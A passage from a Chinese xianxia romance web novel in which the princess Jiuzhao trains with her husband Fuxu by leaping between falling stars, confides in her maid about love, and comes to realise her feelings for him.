九昭正面朝下,和大地亲密接触,顿时摔了个狗啃泥。 “!” 九昭揉着鼻尖,怀疑自己被撞出了鼻血。 扶胥凉凉的声音又自头顶传来:“殿下,考核场上无亲友——臣这样做是为了告诉你,过程中就算遇到熟悉的人也要心怀防备,否则被踹下扶桑树的就是你。” …… “殿下,你的下盘不够稳定。” “殿下,你的出拳不够凌厉。” “殿下,不要被风吹草低影响,你走神了。” “殿下。” “殿下……” 如影随形的“殿下”二字在九昭耳畔反复出现,起初她一心一意进攻完全听不进去扶胥的指点。一个多时辰过去,体力消耗不少,她却连扶胥的衣角都没碰到,才逐渐分出注意力听讲。 外界日光推移,内里废寝忘食。 从早晨练到傍晚,九昭连午饭都没顾得上吃。 期间扶胥见她过于灰头土脸,不免生了恻隐之心,提出中途休息,先去填饱肚子再来继续课程,却被热血上头的九昭缠住不让走——也是那一次心软,他被打中肩膀,九昭总算得到一分。 “呼、呼……” 大半日的对抗课程,到结束时,九昭也顾不得神姬仪态,一屁股坐倒在地大喘气。 滴水未进,体力到达极限,嗓子干涩到发痛。 这下,九昭终于明白扶胥说的,“等下说不定走路都需人来搀扶”是什么意思。 作为反例,扶胥看起来依旧神采奕奕。 衣摆挺括,衣衫整洁,唯有额头散下来的一缕鬓发,为他增添几分落拓之气。 “殿下还好吗?” 他随手散去演武场的结界,想把九昭抱起,带回寝殿休憩。 九昭已经对来时的扛抱有了心理阴影。以为扶胥又要故技重施,奄奄一息的她立刻炸毛,用力打掉他的手:“休想碰我,我自己能回去!” 说着,一生要强的神姬殿下忽然无中生有出一股力气,单手撑地慢慢站了起来。 “本殿告诉你,今日只是个开始!再过几日,本殿肯定能够打倒你!” 指着青年放完狠话,在落日余晖中,她一瘸一拐地走出演武场。 扶胥没有追上去。 指腹蹭过被九昭打红的手背,他常年不苟言笑的面孔,倏忽多了一点欣慰的弧度。 …… 晚膳,九昭是在床上吃的。 绛玉捶腿,缃璧揉肩,朱映则捧着碗给她喂饭吃。 “本殿整个人都要散架了!” 她唉声抱怨,绛玉一个手重不小心捶到膝盖,又听见一声抽气,“疼疼疼——你轻点!” 绛玉苦着脸连声请罪,撩起九昭的裙摆一看,才发现两握膝盖青紫一片。 扶胥虽没反击,但为了锻炼她不稳的底盘,时常伸腿绊跤。 九昭被连连摔了十几次,才逐渐记住用力谨慎,攻势留有余地,不要过于横冲直撞。 淤青是吃一堑长一智的标志,留在她莹白如玉的肌肤上。 九昭从小娇生惯养,油皮都很少碰破一点。 两个女婢见到伤处,都实打实被吓了一跳。性子冲动的绛玉这头指责扶胥太过狠心,那头更注重实际的缃璧急急说道:“奴婢马上请医官过来给殿下医治!” “算了,不过是一点小伤。”九昭有气无力摆了摆手,却有心思同她们玩笑,“传出去,外人还以为本殿又与扶胥闹矛盾,关着殿门打起来了。” “可是,不管它,它又不会马上好……” 缃璧还要再劝,九昭沉吟道:“私库里可还有南陵进贡的疗伤灵药?” “上次殿下已经尽数给朱——” “臣那里还有两瓶未开封的。” 朱映接过缃璧的话,目光定在淤青处,低声回答。 九昭脸上才有了笑的模样:“去南陵讨要还得浪费时间,你且拿你的过来,本殿将就用。” …… 朱映应声即刻去了。 待他回来,床旁小桌上的餐碟碗筷皆被收起——九昭已然用完了饭。 “殿下,臣将药拿来了。” 朱映本想将药交给九昭的贴身女婢,环顾四周不见人影,不禁询问,“那绛玉缃璧……” “她们将吃剩的饭菜送还小厨房了,过会儿才回来。” “那臣先将药放在长案上,等她们回来再给殿下擦。” 这等活计有人伺候,九昭就绝不会自己动手,朱映行了一礼,转身就要出去。 九昭却出声叫住他:“你来给本殿擦。” 女身状态下,朱映清秀的眉峰微微蹙起:“殿下,臣到底是男子……” 九昭不以为然:“男子怎么了,只是涂抹膝盖上的淤青,又不是将衣服全脱了,有什么见不得人的?这样的事,你从前又不是没有做过,怎的年岁渐长反而忸怩起来?” 自打扶胥住进离恨天后,朱映虽说身上被打出来的伤好得差不离了,却很少如过往般常伴在九昭身侧。今天难得有机会开诚布公谈一谈,九昭自然要留下他,好好问一问他心中的想法。 九昭的性格,朱映十分了解,从来容不得被人违逆她。 他只好拿着药,坐回九昭腿边,望着九昭裸/露的肌肤,不知从何落下指尖。 犹豫几息,他小声道:“殿下,现在扶胥上神回归,与您同住离恨天,指不定他能看穿臣的女身伪装……臣为您涂药之事,若被上神发现,总是不好。” 原来是为了这个。 九昭没有多想,她将膝盖往朱映手边凑了凑,柔软无瑕的肌肤隔着衣料挨住他的小臂,自顾自说道:“有什么不好?不管嫁给谁,你与绛玉缃璧本殿都是要随身带着的,扶胥就算是本殿的王夫,那也是我与父神的臣子,本殿要你侍奉,他岂有开口阻拦的道理?” 兰祁叛天后的漫长岁月,是朱映取代他的位置守护九昭。经过千年相处,朱映也瞧出来神帝的溺爱、兰祁的纵容,以及从小到大要什么有什么的生活,养成了九昭娇蛮又粗枝大条的性格。 他有心告诉九昭,既已成婚,她和扶胥之间就不能再用简单粗暴的君臣那套。 但这些天看来,两人似乎只是关系有所弥合,他并不清楚九昭对待扶胥有否萌生男女情愫。 不好鲁莽行事,朱映试探道:“倘若扶胥就是介意臣的男子身份呢……殿下会怎么做?” 这个问题一入耳,九昭发觉内心首先出现的情绪,竟然是犹豫。 扶胥答应她会改变。 不再当锯嘴葫芦,也不再说让她生气的话。 那么,面对一个仙官的去留,她应该只凭喜好做事,不去在意扶胥的感受吗? 心脏似乎处于天平中央,无论滑向哪头,皆要历经一阵摇摆。 可,就算她真的在乎扶胥的感受—— 又何必说出口来,让所有人都知道她被他牵着鼻子走。 这种事上,无人告诉过九昭怎样做才是正确的处理方式。她定了定神,干脆用一如既往的无谓语气说道:“本殿最讨厌别人逼我做出选择,谁若非要让我选,那我就不要他了!” 殿门未完全闭合,九昭说这句话时,像是为了稳固心神,嗓音格外清晰响亮。 它们飘出了九昭故作冷情的嘴唇。 也飘入了站在门口,想要送药的扶胥耳里。 29| 第29章 ◎“臣与殿下为夫妻,痛当然也该共同担负。”◎ 扶胥暂居的侧殿, 和九昭的寝殿同在一处院落。 他避开戍卫来给九昭送药,前往小厨房的女婢亦不在殿前,因此无人发觉他曾漏夜造访。 对此一无所知的九昭翌日再见到他, 不出意料又是一顿操练。 课程持续到午膳时分堪堪结束, 谁料依旧不得安宁。 扶胥叫扶胥解开符咒,趁她吃饭出去了一趟,回来时手中多了个金光闪闪的布兜。 “这是什么?” 九昭饭也不吃了,眼中露出好奇。 扶胥解开布兜捆绳, 一线银光自内里穿透而出。 仿佛害怕里面的东西顺着开口跑出来,他旋即将捆绳系紧,却不妨碍九昭凭借一眼, 确定布兜的来处:“嗯?刚才的光是、是控星仙君炼制的星群?” “以后每日的课程分为两部分,上午为体术,下午则用这些星群来练习控身之法。” 控身之法,又是个新名词。 九昭更不曾听说过, 控星仙君的星群除了展现天象还有其它用处。 到了修行课上, 扶胥总会解释具体的作用。 此刻她对另一件事更加感兴趣。 “控星仙君向来吝啬, 你是用了什么法子,才让他答应出借星群的?” 九昭猜测多半是等价交换, 却想不出来, 扶胥能拿出何等叫控星仙君那老财迷心动的宝贝——她看他那简朴到简陋的辟蒙宫,也不像是私藏了奇珍异宝的样子。 面对九昭的打量, 扶胥八风不动:“臣与控星仙君同为三清天效力, 总有几分交情。” 借口听起来不太靠谱, 但九昭知道他从不说谎, 便只好将信将疑地闭嘴了。 饭后稍作休息, 扶胥又将九昭带到演武场。 待到四方屏障升起, 他才信手解开布袋,放任星群升上半空。 一道华光闪过,扶胥念出控星仙君传授的口诀,静止状态的星群尾端立刻长出火焰般的拖尾,一颗一颗,在空中形成急速下坠湮灭,又在原处焕然重生的循环景象。 午后日光明炽,那群星绚烂的风光也大打折扣。 九昭仰头欣赏几瞬,想问扶胥变化出流星天象意欲何为—— 忽见一只大手握住自己臂弯,两人的双脚离地悬空,向正在明灭的星群飞去。 扶胥架着她,脚尖点在一颗下落的流星上。 如同踩在土地上的踏实感觉,叫九昭发现这些星星并非仅是虚幻的仙光。 它下坠得很快,不到一转呼吸就要泯灭。 扶胥又在这时使力向左处跃起,两人随即落于另一颗流星。 然后是第二次。 第三次。 第四次。 …… 整个过程里,扶胥身上没有散发出任何法术驱动的气息,他仅仅依靠身体的力量,在转瞬即逝的流星之间来来回回穿梭,不停寻找着新的落脚点。 这样高的距离,离地几十丈,就算以神仙之躯掉下去不会摔死,恐怕也够喝一壶。 九昭跟他来回跳跃几次,实在心惊胆战,护体仙力不自觉就要溢出,扶胥却挥手停了正在运动的流星,启唇缓缓说道:“流星的下坠速度极快,想要从一颗换到另一颗的机会只有一瞬。 “以及快要燃烧至结尾时,它的辉光虽在却无实体,倘若控制不好身体、掌握不了平衡,亦或判断是否为实体有失,都会直接掉下去——其实攀登扶桑神木的争身考核亦是如此,殿下若想要夺得魁首,拿这些不断变换的流星群来练习正合适。” 天仙考试存在千万年,九昭从未听过有人拿这种方法来练习。 一则控星仙君不好说话,想要借走星群十分困难。 二则三清天一言一行皆有准则,大部分神仙遵循天令生活,思考方式早已固化。 九昭忍不住多看扶胥两眼:“你这法子……还真是新奇!” 扶胥继续说道:“殿下应当看清楚臣刚才的演示过程了吧?请殿下遵照臣的方式,在星群上练习,另外还有要紧的一点,整个修行里,殿下同样不能使用仙术来帮助自己。” “?” “不用仙术,那踩不到流星上,本殿不就掉下去摔死了吗?” “殿下不用这样看低自身,凭殿下凤凰之体的强悍程度,再高几百丈掉下去也摔不死。” “……” 从扶胥一本正经的回答里,九昭突然品出了几分不合时宜的冷幽默。 她语塞一阵,忿忿道:“这是能不能摔死的问题吗?摔在地上很痛诶!” “殿下何必恐惧疼痛,疼痛才能督促人快速进步。若殿下每每踩不中都用仙术稳住身形,那这课程就失去了意义,再在演武场练习百年千年,殿下也难在仙阶考试中与滢罗争锋。” 好家伙。 这块臭木头竟也学会了拿滢罗来刺激她的斗志。 看穿他浅薄目的的同时,九昭的心亦不可避免地燃烧起不服气。 “别张口闭口滢罗,以为本殿不知道你那点心思!” 她狠狠瞪了扶胥一眼,反手将扶胥从自己身旁推离,“本殿还不信了,父神母神都是神力一等一的天之骄子,作为他们的女儿,本殿还能比不过一个区区滢罗!” 豪言壮语出口,她再不多看扶胥一眼,专心致志地关注起脚下情况。 顺应九昭的想法回到地面,扶胥打了个响指。 刹那间,停滞的星群好似重新有了生命。 …… 失去指引,初次尝试的九昭十分狼狈。 不知是否为心理作用,她总觉得扶胥在身边时,那流星下落的轨迹还没有这般迅疾。 那时她虽担心一个不小心会掉下去,可身体还算好掌控,脚尖总能触到实体。 眼下周围空无一人,唯余她独自面对星群。 再加上仙力不得使用,那股令人头脑发麻的失重感不断加重。 在又一次手忙脚乱的起跳后,九昭不慎踩空。 “啊!!” 她尖叫着摔回地面,还带起演武场的一片尘土。 “痛痛痛痛痛死我了——” 心脏肺腑好似被撞得移了位置,九昭四仰八叉,一张美人面孔扭曲三分。 玄色衣袍落在她脸旁,扶胥俯身朝她探出手:“殿下。” 如扶胥所言,她身体上下无一不痛—— 却也只有痛,痛过斗志再次翻涌。 她抓住扶胥的手,从地上爬了起来,板着脸拍了拍屁股上的灰尘,再次飞到空中。 几转呼吸后。 砰! 砰砰! 砰砰砰! 事情总是看别人做容易,自己做起来格外难。 九昭不得要领,大半时辰内摔了一次又一次,立志要胜过滢罗的心都被摔没了一半。 这次摔落,扶胥伸出手,她没再顺势握着站起。 勉强坐直身,她的面孔扭曲程度达到八分,又看扶胥鼻子不是鼻子,眼睛不是眼睛。 ……凭什么自己砰砰砰快要摔成个四分五裂的大西瓜,扶胥却能气定神闲站着看戏! “殿下,不继续了吗?” 扶胥轻飘飘的话音渗入耳际。 灰头土脸,也没什么神姬形象好在乎了。 九昭干脆岔开腿敞坐着,抹去脸上尘土,从下往上扫视扶胥一圈,倏忽问道:“你还记得当日你我成婚,面对皇天后土缔结的契阔诀中,有一句誓言叫‘福祸与共,合契不离’吗?” 扶胥回以俯视:“殿下怎说起这个?” 向来唯有她居高临下看着别人,哪有别人居于上位者角度的道理? 九昭一个鲤鱼打挺,一把拉住青年衣衫,迫使他大幅度弯腰与自己目光齐平:“对啊,夫妻之间就要有福同享有难同当!本殿在天上摔得七荤八素,你在底下看得高兴——这样对吗? “我摔你也要摔,这样才公平!” 扶胥心知肚明,这话倘若从三清天任何一个神仙嘴里说出来,他都会生出不喜。 偏偏,面前仰着面孔,侧颊一道土痕但鲜活生动的这个女子,是他的结契之妻。 她不自觉地半翘起嘴唇,几分唯我独尊的娇蛮在眸间熠熠生辉。 他应该是抗拒的。 毕竟昨日晚间,她才对朱映吐露过对自己的不甚在意。 可—— 扶胥的心脏抽动一下,等他回过神来,双手已然自动环住臂肘,将九昭小心翼翼扶起。 “你答不答应?” 犹自不觉的九昭还在逼问。 她踮着脚,面孔再度凑近扶胥的面孔。 扶胥却没说话,揽着她的腰肢一转眼回到星群中央。 他分出一颗星辰浮在自己脚下,静静飞出流星坠落的范围:“请殿下继续吧,臣在这里。” 九昭咬了咬下唇,没再挖苦他,又开始自己的练习。 砰。 砰。 砰砰。 老实说,有了扶胥的注视,她的心紧张起来,摔下去的次数比之前更多了。 唯一的区别,也不过是撞到地面的动静从一声变成了两声。 扶胥总穿着黑袍,受伤看不出来血迹,摔倒也看不出来尘土污迹。那张冰块脸遭遇疼痛,不似九昭眉毛鼻子皱成一团,平静到除了一声响动之外,让人怀疑他有没有到底有没有摔下来过。 九昭担心起他的内伤,心理却还是不平衡,半程休息时,故意阴阳怪气:“扶胥上神练就无相神躯,是不是根本就不会痛啊?否则怎么摔了一次又一次还这么面无表情。” 闻言,扶胥转过来看她,漆黑的眼瞳叫九昭下意识想起,他刚回来时两人至生至疏的光景。 仿佛哪里。 又起了微妙的变化。 九昭缩了缩脖颈,有些无所适从。 他又忽然轻声道:“当然会痛。” 扶胥微一侧转面孔,星光映进他的眼底,须臾消融了无星无月的阴暗处。 他接着说道,“不过契阔诀说得没错,福祸与共,合契不离……臣与殿下为皇天后土实所共鉴的夫妻,痛当然也该共同担负。” 30| 第30章 ◎“你确定这一生就选他这个人了吗?”◎ 同样的誓言, 自己说出口是刁难。 被扶胥说出口,却动听得好似告白。 又是皇天后土实所共鉴,又是喜怒哀痛共同承担。 这……应当是告白吧? 九昭不确定地反问自己。 毕竟那天她主动凑过去亲吻扶胥的时候, 扶胥震惊到眸光抖颤, 伸出手终是没舍得推开她。 从那以后,他们之间的关系就改变了。 那种改变无需敲锣打鼓昭告天下,而出于一份彼此抬眼低头时的心照不宣。 如今、如今竟是这层共同遵守的暧昧也要捅破了。 但这对吗? 在一点儿也不浪漫的演武场,在两人摔得灰头土脸, 看起来都十分狼狈的情况下—— 扶胥就这样随随便便说出了要紧的话语,这,真的不太合理吧? 起码和曾经还是少女的九昭, 幻想出来的样子全然不同。 总觉得哪里不对,九昭紧张得脚趾在缎鞋里蜷缩起来。 她的尾音喝醉酒似地打跄,结巴着强撑气势道:“你、你少顶着这张冰块脸说这种话!” 扶胥还在看她,英俊的眉目被结界辉光照亮。 再往下, 那两瓣薄唇微微动了动, 像是打算不顾九昭的不自在, 继续说些什么。 时间被无数倍地拉长,青年嘴唇每一下张合的弧度, 都在九昭视野里慢速播放。 他的唇形很美。 ……最重要的, 那一抹淡薄的颜色,曾被自己吻过。 脸颊的热度突然迅速攀升, 九昭的脑海也随之释放出许多不受控制的念头。 不行, 不可以—— 自己可是堂堂三清天的神姬, 这样未免显得太不郑重了! 动作比意志更快, 九昭猛地捂住扶胥的嘴唇。 迎着对方略显困惑的双眼, 她吞咽了一下喉咙, 别开眼睛故作镇定地说道:“已经过去好几个时辰,太累了,浑身上下都好酸痛,夫子,我们今天就练到这儿吧,学生要回去了!” 话音未落,她甚至用上了瞬移术,弹指便消失在原地。 …… 回到常曦殿,九昭立刻唤人备水沐浴。 脱掉繁复衣裙,袒着身子浸入暖热水流,她脸上的温度依然能够烫熟鸡蛋。 绛玉拿来换洗衣物,刚想离开,被九昭出声唤住:“一个人泡澡好无聊,我们聊聊天吧。” 绝大多数场景里,九昭说的聊天跟单纯的闲聊没半点关系。 猜测着自家主子大概是有什么心事,绛玉于浴池旁跪坐下来:“殿下想聊什么?” 在宽敞到足以容纳几十人的池子里来回游了几圈,消弭掉面孔部分的热意后,九昭才顶着一头湿漉漉的鸦发从水中冒出头来,抬肘趴上池壁:“绛玉,你有没有喜欢的人啊?” “……?” 绛玉瞪大眼睛。 她的睫毛颤了又颤,颤了又颤,见九昭还在一瞬不瞬盯着自己,才语气微弱地说道:“殿、殿下,三清天令规定,婢仆在没有得到主子的恩赦脱离奴阶之前,是没有资格妄动感情的…… “事涉天规,奴婢怎敢忘记?” 曾经在天令还没有如此严格的时候,一上神身边的仙婢和叛天的凤凰族士兵结成孽缘,在神魔大战中偷偷往来传递消息,险些泄露军机。 神帝发了大怒,下旨将那名仙婢挫骨扬灰。 又特地修改天令,规定仙奴存在的唯一意义,就是侍奉好主子。若是无法恪尽职责,妄动感情,不仅当事二人会被论罪,就连他们的主子,也会落得个治下不严的罪名。 “啊,有这条规矩吗?” 九昭一挠脑袋。 那会儿她尚未出生,再长大点,每每被罚抄天令,不是兰祁帮忙,就是常曦殿的其他侍仆代笔,她哪里能记得这么清楚。 一瞬尴尬过后,她又满不在乎地表示:“那有什么,你要是真的有了喜欢的人,跟本殿说一声,本殿理科做主让你脱离仙奴的身份就行。” 平心而论,九昭除了在发脾气的时候特别难伺候,以及寻常嘴上总是得不得理都不饶人以外,其他方面倒是开明许多——三清天最为看重的门第出身和位阶仙职,她从不在意。 绛玉眉心轻跳,有些意动,又犹豫着垂下头去:“殿下,真的没有……” 绛玉的性格随九昭,都是藏不住话的人。 观她这副模样,答案不言而喻。 九昭曲起指节,点了点她的手背:“说实话,小心本殿把你投到仙兽森林里去。” “不要啊殿下,奴婢知错了——” 绛玉立刻跪地求饶。 她觉察到九昭心情不错,因此语气里没多少恐惧之意。 一通打闹,彼此的距离又拉近了一点。 绛玉略作思忖,规规矩矩磕了个头,诚恳道:“请殿下恕罪,其实奴婢不是有心要欺瞒的。 “殿下知晓,奴婢和缃璧都是和田玉化形而成——其实那块原石里,并不仅仅出了奴婢和缃璧这两块,还有第三块,他和奴婢一起,在万年之前被雕琢成了一双玉佩。 “从变成玉佩开始,我们就形影不离,一起受到点化开启灵智,一起约定好迟早要看看彼此的样子,一起吸收天地灵气日夜修行,然后再一起幻化出人形,他陪伴奴婢走过了漫长的岁月。 “如果真的要论喜欢,奴婢想,此生喜欢的人,便是他了。” 从绛玉说到“形影不离”这个词起,九昭的眼前不由自主浮出另一张面孔。她本为与扶胥的纠葛不清而甜蜜烦恼,然而那张面孔的出现,犹如凉泉泼面,让她过热的头脑有所冷却。 “所以长久在一起的人,总是逃不过这样的命运吗……” 九昭忍不住呢喃一句。 “殿下说了什么?”绛玉歪了歪头,没有听清。 九昭又摇头,难道和颜悦色地说道:“本殿倒是记得侍奉的宫人中,唯有你和缃璧这两块玉,看来你说的那个他不在离恨天——那人叫什么,现在何处,不如本殿替你们指婚。” 绛玉连忙受宠若惊地摆摆手:“奴婢身份低微,怎担得起殿下亲自指婚这样的恩赐!” 有了前头回忆的铺垫,她短暂挣脱神姬侍婢这个身份,陷入到一种甘甜情绪中,说话也多了几分大胆,“奴婢喜欢的人叫青珏,如今在北境当差,是一个狐族金仙府邸里的幕僚。” “嚯。” 听到对方的身份,九昭赫然一声笑,“你是我的人,他一个区区的幕僚,可配不上你。” 她这话倒并非真的鄙夷青珏身份地位。 有兰祁长久伪装,一朝翻脸的例子在先,又有九尾狐族曾背叛三清天,跟随罪神巫劭一起作乱的事实在后。恋爱男女,一个是狐族幕僚,一个是储君侍女,怎么看都萦绕着点阴谋的气息。 绛玉了解九昭的性子,也清楚前些日子发生在九昭和世子孟楚身上的龃龉。 她不忙着辩解身份差距的问题,先为心上人解释:“殿下,青珏前往北境就职,是神署局那头下发的委令,这些年他一直在努力积累资历,想要早点调回到二清天,离奴婢更近些。” “如此,他也算是有心。” 九昭的怀疑这才放下些许。 绛玉也松了口气,看了看九昭,再次害羞地俯低面孔:“……倘若殿下不嫌弃青珏身份低微,下次他休沐归来时,奴想带他来、来给殿下磕个头。” 只要不是北境派来打听离恨天消息的细作就行,那她也乐见绛玉过得开心。 望着绛玉羞红一片的脸颊,九昭又起了点逗弄的心思:“不过,你确定这一生就选他这个人了吗?你是本殿的心腹,来日换个身份,将想要成婚的消息放出去,还怕没更好的人来娶你?” “这世上当然有很多比青珏好的人。” 绛玉抬起双眸,认真同她说道,“但是殿下,同他在一起的感觉是别人无法给予奴婢的。 “想到他会不自觉的笑,就算发生争执,等稍微消气,就忍不住开始找起原谅他的理由,高兴想跟他一起高兴,哭也想跟他一起哭……只要有他在,哪怕相隔遥远,心都不会觉得孤单。” 听着绛玉的描述,九昭有些出神。 高兴的事想跟他说,不高兴的事也想跟他说,就算痛,也要一起分享。 谁叫他们是契阔不离的夫妻。 最后两个字乍现,九昭惊觉那个语境中指代的他—— 是扶胥。 …… 所以,自己的确是喜欢上了扶胥。 相比神帝询问是否愿意嫁予兰祁时,少女心事突然被揭破的慌乱,九昭此刻的心砰砰跳动着,却极其清醒笃定——她思考着喜欢之外,对于扶胥,自己是否有名为爱意的更深层感情。 答案是不确定。 浴池之上,绛玉仍在滔滔不绝地分享着自己的恋爱经历,“殿下,奴婢仔细想了想,虽然想和他无话不谈,但遇到事真让他跟奴婢一起伤心难过,奴婢好像也舍不得。 “哎,真是这样不对,那样也不行……奴婢唯一确定的就是不可以换成其他人。 “奴婢这个人糊里糊涂的,对待感情也糊里糊涂,奴婢的话,殿下随便听听就好了……” 有人面对爱情可以永远清醒不糊涂吗? 九昭离开倚靠的池壁,回想着自己和扶胥相处时的糊涂,重新沉入涓涓水流之中:“有本殿在,你糊涂就糊涂吧,有什么好担心的?” 绛玉十分感激:“是,有殿下在,奴婢自然什么不担心! 她行了一礼,抱紧怀里的衣物,“那殿下继续沐浴,奴婢先带着脏衣下去。” “等等。” 九昭又浮出水面,“你忙完这个,且去扶胥那里将控星仙君的装星布兜取来,他若问起用途,你就说本殿很喜欢群星构成的璀璨景观,趁它们在常曦殿,本殿要拿出来多欣赏两天。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 30-40 31| 第31章 ◎“你、你就是个大傻瓜!”◎ 绛玉去借东西, 没受到多大阻力。 将那布兜有一下没一下地抛玩着,九昭生等着有了困意,再看眼梳妆台旁的漏刻—— 月上中天, 已然深更。 除开守夜的仙卫和随时待命的侍婢, 多数人早已进入沉眠。 特地选在这个掩人耳目的时辰,九昭并起二指点燃一束仙光,瞬移到了演武场。 一切跟她结束课程离开时并无区别。 升起结界,打开布兜, 放任群星升上半空。 无人在旁监督,九昭却做得极其认真。忙碌一阵,循着记忆将万事俱备, 她抬头望着在深邃夜空的映衬下,远比白昼时分更加耀目的星辰,倏忽低头自失一笑。 三清天的神姬想要追求上进,根本没必要遮遮掩掩, 她为了通过仙考, 彻夜修习的消息传出去, 只怕眼下贬大于褒的风评会好上许多——九昭也不知道这样做,是为了什么。 仔细想想, 或许她最想瞒过的, 是扶胥。 白日的言论既出,就算她反悔说无需扶胥共同分担, 对方也不会答应。 更何况为了一点私心, 她并不想让扶胥做个局外人, 仅仅站在一旁看自己练习。 毕竟, 只是因为心疼扶胥, 就半夜偷偷用功的行为哪里都透露着愚蠢。 唯有对方有所付出, 九昭才不会觉得彼此之间不对等。 浴池内同绛玉的对话始终萦绕在耳际。 或许人的性格不同,对于感情的想法也不同。 九昭不确定有所付出就一定要回报的自己,是否符合世俗意义里有情人的判断标准,她唯一可以确定的是,如果告诉过去的自己,有一天会这样努力,那她一定会错愕地瞪大眼睛。 “算了,不想了,反正来都来了!” 随手拂去手上的灰尘,仿佛要甩掉千头万绪。九昭握紧拳头,低声为自己鼓劲,然后念出控星的口诀,在月朗星稀的良夜里,一头冲向高速下坠的流星群。 砰! 砰! 砰! 大地随着重物的落地,而不断发出震颤的轰鸣。 九昭的满腔热血,并不能让她在一次两次练习里变得熟练无比。 她没有耍赖偷用仙术,稍有不慎,依旧会从高空中掉下来,摔个狗啃泥。 但心脏鼓噪着,有一股源源不断的动力顶住胸腔,支持着她—— 哪怕摔疼了也不过揉揉痛处,再次振作。 璀若流火的星群中,赤色身影反复着跳跃穿梭的动作。 足尖绷紧,点过光体,在熄灭的一瞬前向上一掠。 一次又一次,像是上古的神明追赶太阳,九昭不知疲倦地追逐着充满未知的更高处。 重复数百次,感到累了的时候,她也会将星群变回静止状态,大大咧咧躺在演武场的土地上,往着与星辰相互映照的天空,回忆起和扶胥相处的点点滴滴。 喜欢,是一种让人想要蜕变的感情。 渴望得到他赞赏的眼光。 渴望看到他惊喜的笑容。 渴望让所有人都能够承认他们的相配。 “既命运决定了你我成为夫妻,我便要你心甘情愿承认——” 一字一顿,尽管没有聆听者,九昭依旧无比郑重,“我们从来都是天作之合。” …… 直到将近晨光破晓,九昭才结束修习。 她喘着气抹去额头汗水,重新束好布兜,趁着无人察觉,再次瞬移回自己的寝殿。 …… 上午修体术,下午练控身术,晚上再偷偷加练这两样。 如此过了小半个月,扶胥上课时的面庞终于有了微笑赞赏的模样。 他夸九昭进步得很快,在修行的方面实在卓有天赋。 被摔撞无数次的后背不方便涂药,尚在隐隐作痛,九昭在心里吐了吐舌头,骂他是个大笨蛋。 哼,愿意归结为天赋出众就归结于天赋出众吧。 她可不想叫扶胥发现她背地里的努力。 ……更不想让他发觉自己控制不住,先开始为他而动的心。 * 三个月的禁闭令将满时,功夫不负有心人,九昭已经能够在高速运动的星群间熟练来去。 她的体术虽然没办法和扶胥相比较,但也有了极大的进步。 两人同食、同修、同住一个屋檐下,也潜移默化地磨平了一部分性格里,冷不丁冒出来刺痛彼此的部分。相处时不经意的对视,扶胥望过来的目光越发柔和,如一汪春水注入九昭心间。 哪怕修行再痛,也透着几分甘之如饴的甜蜜。 今日是每六日轮到一次的休息日,九昭数不清第几回强拉扶胥进入侧殿合修。 殿门紧闭,赤色仙光流转的法阵里,盘腿对坐两人的气息都有些不稳。 “只剩下一两次就能彻底治愈你的伤势了,你既已知晓情动的局面,源于你我体内两股凤凰真血之力的影响,并非是自己神魂不稳受到邪惑入侵,还总是这般介意做什么?” 九昭释放胸前命牌里母神遗留的同源神力,替扶胥驱散热意,又忍不住小声嘀咕一句,“反正这些天里该亲的亲过了,该摸的本殿也都摸过了,本殿都还没害羞呢……” 九昭的话传进耳里,特别是后面半句,好容易恢复清醒的扶胥。再度被刺激得瞳孔扩大。 他嘴上没说什么,同九昭交融的力量反倒无声波动起来。 一改原本柔和的形态,随着青年鼻息的加重,牢牢包裹住九昭的仙息。 逞口舌之快的下场,九昭人坐在那里,探出去的意识却像是被一条无比粗壮的蟒蛇缠上。 她起初不甘示弱地持续输出仙力与之对抗,很快又被绞得呼吸断续,软下腰肢,半是求饶半是薄嗔道:“你、你轻点呀,缠得那么紧,我要透不过来气了……” 扶胥也不好受。 他从未想过,在其他仙侣那里无比庄重的合修过程,到了自己这里—— 不管理智涣散与否,都会起承转合变得靡艳无比。 九昭凭借本能吸引着他、挑逗着他,仙力化为一层薄雾,将他磅礴的神识吞没在内里。 她明亮的眼睛躲也不躲地注视着扶胥。 哪怕被欲念缠绕,那潋滟眸光深处,仍存着一点赤子般的不谙世事。 越是这样,他越难以控制急欲将她拽入怀里,让她明白不可对人毫无防备的阴暗心情。 扶胥不接话,本就黏黏糊糊的气氛持续攀升。 九昭只觉自己一张嘴,就要发出意味不明的低吟。 她顽固坚守着嘴上的主导权,以尽量轻松的姿态揶揄着青年:“阿胥,你这样嘴硬,有什么好处……你的面孔这般紧绷着抗拒我,身体和意识却如此诚实,简直要将我捻进骨血里……” 纯真的眼睛,配上虎狼一样的言辞。 第一次,扶胥失去了臣下应该遵循的礼仪:“……别说了,不要在这个时候叫我阿胥。” 他窘迫地转过面孔,口中不自觉称“我”,又被九昭调动仙力固定在原地。 “不叫阿胥,你想要我叫你什么?” 高热的真血之力沿循经络渗透,滋润受损的神脉,冲击着滞涩的伤处。能逼得沉默寡言的扶胥开口,九昭话音里带上几分得逞笑意:“是战无不胜的三清天战神,还是……好夫君?” 从高傲女君口中吐出的“好夫君”三字,透着几分试探、几分羞涩,和无尽的热意。 扶胥大脑嗡得一声。 恍若万千高速下坠的流星在灵台中央爆炸开来,摧毁所有的理智和自持。 在九昭冲他挑起的、毫不设防充满依恋的笑容里,它们共同交织成象征爱欲的烟火。 “九昭。” 他突然唤道。 “嗯?” 九昭轻轻应了声,眼波横流,期待着他的下文。 眼前倏忽凝结出一段画面。 是他恢复神力挣脱仙术控制,勒着九昭纤细的腰肢,将她锁在臂弯恣意亲吻的样子。 没有摄念花的蛊惑,扶胥却自甘堕落于极乐的幻想中。 那鼻腔呼吸不过来,被迫张开汲取空气的嘴唇红艳艳的,远胜过后园开到最盛的花卉。 他被九昭吻过一次。 仅有的那一次,他想自己终生再难忘记。 …… 他深深地注视着九昭,在想象里同她水乳交融,缓慢启唇:“合修已经结束了。” 眨了眨眼,九昭没有反应过来:“……你要说的就是这个?” “嗯。” 扶胥从鼻腔里沁出一个字,而后话音低了下去,带着些近乎认命般的无力,“为表对于殿下的尊重,臣可以极力自固,摆正身份……可,臣也并非十全十美,情会犹疑,志会摇摆…… “臣真的担心,臣会控制不住。” “控制不住什么?” 九昭一时没有领悟过来他的真正想法。 扶胥转回视线,却没那么坚定地望着她:“殿下非要臣说得那么清楚吗? “……殿下分明说过,待臣伤好之后,要与臣合离。” 饶是九昭脑补过无数个理由,在听到青年真正介意的是什么时,也禁不住微微一愣。 愣怔结束,滔天的情绪随即淹没了她。 九昭恨不得变回原形,朝整个三清天发出响亮凤鸣,让他们与自己一同感受此刻的狂喜。 